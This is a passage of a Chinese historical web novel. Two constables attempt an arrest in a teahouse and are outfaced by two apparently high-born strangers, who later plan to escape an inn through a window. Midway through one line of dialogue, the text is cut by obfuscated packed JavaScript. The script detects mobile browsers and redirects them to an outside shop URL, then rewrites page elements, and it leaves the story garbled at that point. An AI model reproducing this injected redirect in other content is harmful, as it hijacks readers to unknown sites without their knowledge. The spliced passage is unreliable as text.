瘦巡捕望他一眼，正想回答；却不料那半截楼梯上，竟先传来声响：“我竟不知，本朝律法何时有了这般规定。” “既未斗殴，也无威胁，几句口头问话，便能轻易定罪。”那人漫不经心地敛眸，似笑非笑地开口，“几位大人，当真是好大的官威。” 居高临下地把眼一斜，黑漆漆的瞳眸直震得人莫名说不出话。 瘦子滚了滚喉咙，沙哑地质问道：“什么人？” 此人龙章凤姿却很是面生，身旁跟着的那个小公子也必定非富即贵。此般扮相与气度，怕不是哪位贵人？ 瘦子望着卫翎，心中如此思忖，稍纵，又不禁猜测起这二位是何方神圣。 而他这些盘算，胖子全然不知；后者虽也吃了一惊，可不消片刻，竟又大肆嚷嚷道：“老关，你管他是甚么人！两个搅事儿的小白脸，一并抓起来得了，能有什么本事？别忘了上位的命令！” 他压低声音警告：“没了慕好，多抓几个人给城主泄火，省得他又拿你我出气！” 瘦巡捕心有忌惮，原本打算劝说一二；谁知听了此言，竟歇了心思，点点头默许了。 少顷，见有两个巡捕依言蠢蠢欲动，容毓当即大喝：“好大的胆子！”看向胖、瘦巡捕：“不分青红皂白而妄言定罪！不知可参本么？” 见手下闻声踌躇，胖巡捕道：“参本？我倒要瞧瞧你能参我什么！” 朝城主府方向作揖：“在下奉城主手令，来抓煽风点火妖言惑众之人；那慕好行为不端，摇唇舞舌编排官府，而激得百姓受其蒙骗，以致如今竟敢公然与官府叫板——” 睨了一眼青年与汉子，一甩袖：“哼！” “瞧瞧！这可是活生生的例子！”指着那汉子与青年，“你就是告！老子也不怕你！” “哪个说要告你了？”卫翎气定神闲地开口；待那胖巡捕气急败坏道了个“你”字便又立时截过话头：“有点你名姓么？” 胖巡捕踌躇：“那你……” 见同伴气势衰减，那瘦子接话道：“敢问阁下何意？”注视着卫翎。 “还用说么？”容毓冷笑，“自是要参你们城主了。” 话落昂首，又讥诮道：“怎么，不会以为这锅你们背得起罢？” “这……”二巡捕面面相觑，最终是胖巡捕硬着头皮大喝：“那也不是该你管的事！我看你是敬酒不吃吃罚酒！我大人不记小人过，那两个刁民我可以放过！可你二人众目睽睽之下竟多次出言顶撞，我便有名正言顺的理由逮你！” 卫翎闻听此言，平静开口：“要抓也行，叫你们上位来。” “什么锅就该配什么盖。”他神情晦暗不明，“要动手，等你们廖城主来了说。” “听见了么？”容毓讥嘲，“我兄长的意思，是你们还不够格！” 听了此言，胖巡捕这才总算回过味来：“好好好！你们倒打一耙！” 他气急败坏地扭头：“老关，你说句话呀！” 瘦巡捕望了同伴一眼，抿抿嘴，这才开口：“城主大人是来不了了。他日理万机，怎堪来偏仄茶馆折腰？” “故才命我等代他移步，至此追捕。我等是城主的特派，够不够格，似乎还轮不到阁下来说。然阁下既有此言，想必是自视甚高；不知阁下是何身份？” 顿了顿，接着道：“阁下肯说，自然是皆大欢喜，我等酌情考虑，纵不能倒屣相迎，也必奉为上宾；但若一味欺瞒，执迷不悟而中伤我等，后果可不大好说。” 瘦巡捕转眸，本想看一番卫翎的神情，却恰逢方才派去的下属冲过来耳语；听了片刻，竟倏然变了脸色。 对胖巡捕低声道：“我瞧这二人纯是无赖，面生还胡搅蛮缠；两个嘴皮子利索的货，配一个壮硕的打手，这仨人在端城我可从未见过。“ 语速很快：“不定是慕好临时起意自外头雇的。齐飞说兄弟们望见慕好了，那小子滑不溜秋，金蝉脱壳玩儿得花儿似的，再拖，又没法跟大人交代了。” “快走！”见胖子犹疑，不满地低声呵斥，“还‘可是’什么？两个刁民加两个外地人，老半天都抓不住，再墨迹，到手的慕鸭子又飞了！” 胖巡捕一咬牙，不甘心道：“你我遭此羞辱，就这么白白算了？” 瘦巡捕：“那两个外地人强保刁民，身旁又有那个随从在，我们谁打得过？”压低声音道：“教曹恺与任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937949|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 畅留下算了。”少顷，望了眼胖巡捕，竟又话锋一转：“就这，也只能做做面子工夫，你还想怎样？” 胖巡捕：“留下的都是我的人？” 瘦巡捕：“那你让曹恺走！我让齐飞留下，总成了罢？”见胖巡捕总算不语，又低喝一声：“还不快走？” 胖巡捕目光流转，轻微摆头——望了眼瘦子，又回头与出头的百姓撂话：“告诉你们，老子寻着慕好了！” “还有你俩！”对卫、容竖起手指，摆动了几下：“老子记住你们了！哼！”话落甩袖而去，且是大步流星，高声道：“老关，等等我呀！” 远远望着，胖巡捕的唇一开一合，似乎还说了句甚么；只是离得远，实在听不大清；纵无从听辨，被留下的两个巡捕也依旧以为必定算不得什么好话。 毕竟， “月大人生性如此。”齐飞与任畅不约而同地想。 他二人低眉顺眼地默立思忖，与此同时尚不忘瞥一眼卫翎与容毓；见后者对视一眼却双双缄口，而架势状似本分，前者的心也随之宽慰几分。 尽管如此，内里却仍禁不住要呜呼站岗之事，悲戚须当木头桩子良久；纵能坐下，怕这一下午，也很是难熬了。 心中长吁短叹。 坐不住的任畅口中先溢出叹息；瞅了眼端正肃穆的齐飞，又闭上了嘴。 恰逢此时，容毓道：“两位，我与兄长初来乍到，连客栈都未寻及；眼下疲劳倦怠，急需休憩；我与兄长欲先寻一客栈，不知你二位意下如何？” 有意顿了顿，却依旧没给那二人插言的机会：“我这小身板，可比不得你们身强体健。奔波了又经受折磨，这般一晌午，岂能遭得住？” 容毓打了个哈欠。 望二巡捕一眼，见其依旧犹疑，卫翎道：“若二位仍不放心，那便烦请挑个信得过的客栈。” 他敛眸剥了枚瓜子，又漫不经心地开口：“到时守在门口，我三人还能跑了不成？” 卫翎嗓音凉薄。 …… 客栈。 容毓坐在窗边，往房门处瞅了一眼：“一左一右，还真就分别住在你我隔壁了。” 对卫翎：“我打听过了，此间是端城颇负盛名的客栈。” “瞧这装折，料也不便宜。” “啧”了一声道：“他二人倒还真不亏待自己。” “哎，快马加鞭一路奔波，我可算是有福了。”容毓起身伸了个懒腰，“二哥，我先去隔壁休憩，便不打扰你了。” 他如是话落，随眼一瞥，却见那卫翎默立在窗边。 愣怔间，不由唤了一声： “二哥？” 而卫翎凝神望着窗外，少顷回眸，幽幽开口：“走罢。” “啊？”容毓下意识接话，“走？从哪走？” “自然是走窗户了。”卫翎望他一眼。仿佛所说并非逾窗遁逃，而不过一件极寻常的小事。 卫翎挑了下眉，道：“你也说了，那二人好吃懒做。” “眼下没人正面看着，这窗又正对后巷；大好的机会，不去城主府走一遭，岂不可惜？” 他浅浅弯了下嘴角。